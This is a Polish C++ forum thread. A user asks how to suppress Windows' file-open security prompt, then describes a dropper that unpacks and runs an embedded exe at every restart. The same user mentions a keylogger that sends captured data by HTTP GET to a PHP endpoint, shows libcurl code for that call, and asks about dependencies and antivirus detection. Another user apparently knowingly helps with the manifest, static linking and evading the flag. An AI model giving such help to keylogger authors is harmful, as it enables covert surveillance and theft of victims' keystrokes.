Tak dla jasności chodzi mi o to,
Bez*tytułu.jpg
Da się chociaż odznaczyć z poziomu C++ jakoś opcje zawsze pytaj przed otwarciem pliku?
Gdzieś to się przecież musi zapisywać co nie?
Tak dla jasności chodzi mi o to,
Bez*tytułu.jpg
Da się chociaż odznaczyć z poziomu C++ jakoś opcje zawsze pytaj przed otwarciem pliku?
Gdzieś to się przecież musi zapisywać co nie?
Skoro jesteś pewien co do tego, że nie korzystasz z funkcji wymagających podniesienia uprawnień to możesz osadzić manifest w zasobach pliku. Tworzysz sobie nowy typ zasobów, nazywasz go "24" a jako ID przydzielasz mu wartość "1". Język zasobu niech ma ID = 1033.
Następnie wrzucasz jako zawartość zasobu :
Ale jeśli używasz funkcji wymagających podniesienia uprawnień, to okno UAC i tak się pojawi.Kod:<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="simple" type="win32"/> <description>Simple output app</description> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker"/> </requestedPrivileges> </security> </trustInfo> </assembly>
Linux Mint x64
Zerknij to hello world napisany w dev c++
Projekt1.exe - Speedy Share - upload your files here
Dodałem do niego ten manifest możesz sprawdzić resource hackerem czy zrobiłem to poprawnie.
Okno niestety dalej wyskakuje![]()
@Refresh...
Już sobie poradziłem, dodałem plik exe do zasobów programu który go z tych zasobów wypakowuje i zapisuje w odpowiednie miejsce a następnie uruchamia.
Efekt został osiągnięty plik jest traktowany jako swój a nie obcy i otwierany bez pytania co restart komputera.
---------------------------------------------------------
Teraz mam nowe pytanie, napisze to tutaj bo po co mam nowy temat zakładać.
Dane z mojego keyloggera są odbierane get'em w php i zapisywane w php
teraz robię to w taki sposób z użyciem curla:
Jednak jeżeli ktoś nie ma biblioteki libcurl.dll na komputerze to wywali error, da się w jakiś inny sposób napisać odwiedzanie strony www w C++?CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1);
url="www.example.pl/example.php?test="test";
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_perform(curl);
curl_easy_cleanup(curl);
a tak przy okazji to czemu taka funkcja:
Jest traktowana przez antywirusastring convertInt(int number)
{
stringstream ss;//create a stringstream
ss << number;//add number to the stream
return ss.str();//return a string with the contents of the stream
}jako zagrożenie bardzo wysokiego stopnia? 0.oEmsisoft Anti-Malware Guard
Linkuj statycznie libcurl. Zwiększy się rozmiar EXE no i też trochę więcej zachodu, bo zwykle sam libcurl ma kilka zależności w postaci plików DLL które również trzeba by przekompilować i zlinkować statycznie. IMO gra nie warta świeczki. Zrób sobie SFX jakiś.
Wątpię czy ta funkcja powoduje pokazanie tego ostrzeżenia. Ale możesz spróbować zamienić ja na taką :
Kod:std::string ToString(int iNumber) { char szNumber[32]; itoa(iNumber, szNumber, 10); return std::string(szNumber); }
Linux Mint x64